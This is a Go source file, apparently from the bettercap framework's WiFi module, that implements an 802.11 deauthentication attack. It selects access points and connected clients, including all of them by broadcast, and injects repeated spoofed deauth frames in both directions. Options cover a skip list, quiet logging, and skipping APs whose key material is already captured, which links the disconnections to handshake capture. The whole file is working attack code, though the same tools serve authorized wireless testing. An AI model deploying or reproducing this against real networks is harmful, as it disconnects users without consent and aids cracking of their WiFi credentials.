| 1 | package wifi |
| 2 | |
| 3 | import ( |
| 4 | "bytes" |
| 5 | "fmt" |
| 6 | "net" |
| 7 | "sort" |
| 8 | |
| 9 | "github.com/bettercap/bettercap/network" |
| 10 | "github.com/bettercap/bettercap/packets" |
| 11 | ) |
| 12 | |
| 13 | func (mod *WiFiModule) sendDeauthPacket(ap net.HardwareAddr, client net.HardwareAddr) { |
| 14 | for seq := uint16(0); seq < 64 && mod.Running(); seq++ { |
| 15 | if err, pkt := packets.NewDot11Deauth(ap, client, ap, seq); err != nil { |
| 16 | mod.Error("could not create deauth packet: %s", err) |
| 17 | continue |
| 18 | } else { |
| 19 | mod.injectPacket(pkt) |
| 20 | } |
| 21 | |
| 22 | if err, pkt := packets.NewDot11Deauth(client, ap, ap, seq); err != nil { |
| 23 | mod.Error("could not create deauth packet: %s", err) |
| 24 | continue |
| 25 | } else { |
| 26 | mod.injectPacket(pkt) |
| 27 | } |
| 28 | } |
| 29 | } |
| 30 | |
| 31 | func (mod *WiFiModule) skipDeauth(to net.HardwareAddr) bool { |
| 32 | for _, mac := range mod.deauthSkip { |
| 33 | if bytes.Equal(to, mac) { |
| 34 | return true |
| 35 | } |
| 36 | } |
| 37 | return false |
| 38 | } |
| 39 | |
| 40 | func (mod *WiFiModule) isDeauthSilent() bool { |
| 41 | if err, is := mod.BoolParam("wifi.deauth.silent"); err != nil { |
| 42 | mod.Warning("%v", err) |
| 43 | } else { |
| 44 | mod.deauthSilent = is |
| 45 | } |
| 46 | return mod.deauthSilent |
| 47 | } |
| 48 | |
| 49 | func (mod *WiFiModule) doDeauthOpen() bool { |
| 50 | if err, is := mod.BoolParam("wifi.deauth.open"); err != nil { |
| 51 | mod.Warning("%v", err) |
| 52 | } else { |
| 53 | mod.deauthOpen = is |
| 54 | } |
| 55 | return mod.deauthOpen |
| 56 | } |
| 57 | |
| 58 | func (mod *WiFiModule) doDeauthAcquired() bool { |
| 59 | if err, is := mod.BoolParam("wifi.deauth.acquired"); err != nil { |
| 60 | mod.Warning("%v", err) |
| 61 | } else { |
| 62 | mod.deauthAcquired = is |
| 63 | } |
| 64 | return mod.deauthAcquired |
| 65 | } |
| 66 | |
| 67 | func (mod *WiFiModule) startDeauth(to net.HardwareAddr) error { |
| 68 | // parse skip list |
| 69 | if err, deauthSkip := mod.StringParam("wifi.deauth.skip"); err != nil { |
| 70 | return err |
| 71 | } else if macs, err := network.ParseMACs(deauthSkip); err != nil { |
| 72 | return err |
| 73 | } else { |
| 74 | mod.deauthSkip = macs |
| 75 | } |
| 76 | |
| 77 | // if not already running, temporarily enable the pcap handle |
| 78 | // for packet injection |
| 79 | if !mod.Running() { |
| 80 | if err := mod.Configure(); err != nil { |
| 81 | return err |
| 82 | } |
| 83 | defer mod.handle.Close() |
| 84 | } |
| 85 | |
| 86 | type flow struct { |
| 87 | Ap *network.AccessPoint |
| 88 | Client *network.Station |
| 89 | } |
| 90 | |
| 91 | toDeauth := make([]flow, 0) |
| 92 | isBcast := network.IsBroadcastMac(to) |
| 93 | for _, ap := range mod.Session.WiFi.List() { |
| 94 | isAP := bytes.Equal(ap.HW, to) |
| 95 | for _, client := range ap.Clients() { |
| 96 | if isBcast || isAP || bytes.Equal(client.HW, to) { |
| 97 | if !mod.skipDeauth(ap.HW) && !mod.skipDeauth(client.HW) { |
| 98 | toDeauth = append(toDeauth, flow{Ap: ap, Client: client}) |
| 99 | } else { |
| 100 | mod.Debug("skipping ap:%v client:%v because skip list %v", ap, client, mod.deauthSkip) |
| 101 | } |
| 102 | } |
| 103 | } |
| 104 | } |
| 105 | |
| 106 | if len(toDeauth) == 0 { |
| 107 | if isBcast { |
| 108 | return nil |
| 109 | } |
| 110 | return fmt.Errorf("%s is an unknown BSSID, is in the deauth skip list, or doesn't have detected clients.", to.String()) |
| 111 | } |
| 112 | |
| 113 | mod.writes.Add(1) |
| 114 | go func() { |
| 115 | defer mod.writes.Done() |
| 116 | |
| 117 | // since we need to change the wifi adapter channel for each |
| 118 | // deauth packet, let's sort by channel so we do the minimum |
| 119 | // amount of hops possible |
| 120 | sort.Slice(toDeauth, func(i, j int) bool { |
| 121 | return toDeauth[i].Ap.Channel < toDeauth[j].Ap.Channel |
| 122 | }) |
| 123 | |
| 124 | // send the deauth frames |
| 125 | for _, deauth := range toDeauth { |
| 126 | client := deauth.Client |
| 127 | ap := deauth.Ap |
| 128 | if mod.Running() { |
| 129 | logger := mod.Info |
| 130 | if mod.isDeauthSilent() { |
| 131 | logger = mod.Debug |
| 132 | } |
| 133 | |
| 134 | if ap.IsOpen() && !mod.doDeauthOpen() { |
| 135 | mod.Debug("skipping deauth for open network %s (wifi.deauth.open is false)", ap.ESSID()) |
| 136 | } else if ap.HasKeyMaterial() && !mod.doDeauthAcquired() { |
| 137 | mod.Debug("skipping deauth for AP %s (key material already acquired)", ap.ESSID()) |
| 138 | } else { |
| 139 | logger("deauthing client %s from AP %s (channel:%d encryption:%s)", client.String(), ap.ESSID(), ap.Channel, ap.Encryption) |
| 140 | |
| 141 | mod.onChannel(ap.Channel, func() { |
| 142 | mod.sendDeauthPacket(ap.HW, client.HW) |
| 143 | }) |
| 144 | } |
| 145 | } |
| 146 | } |
| 147 | }() |
| 148 | |
| 149 | return nil |
| 150 | } |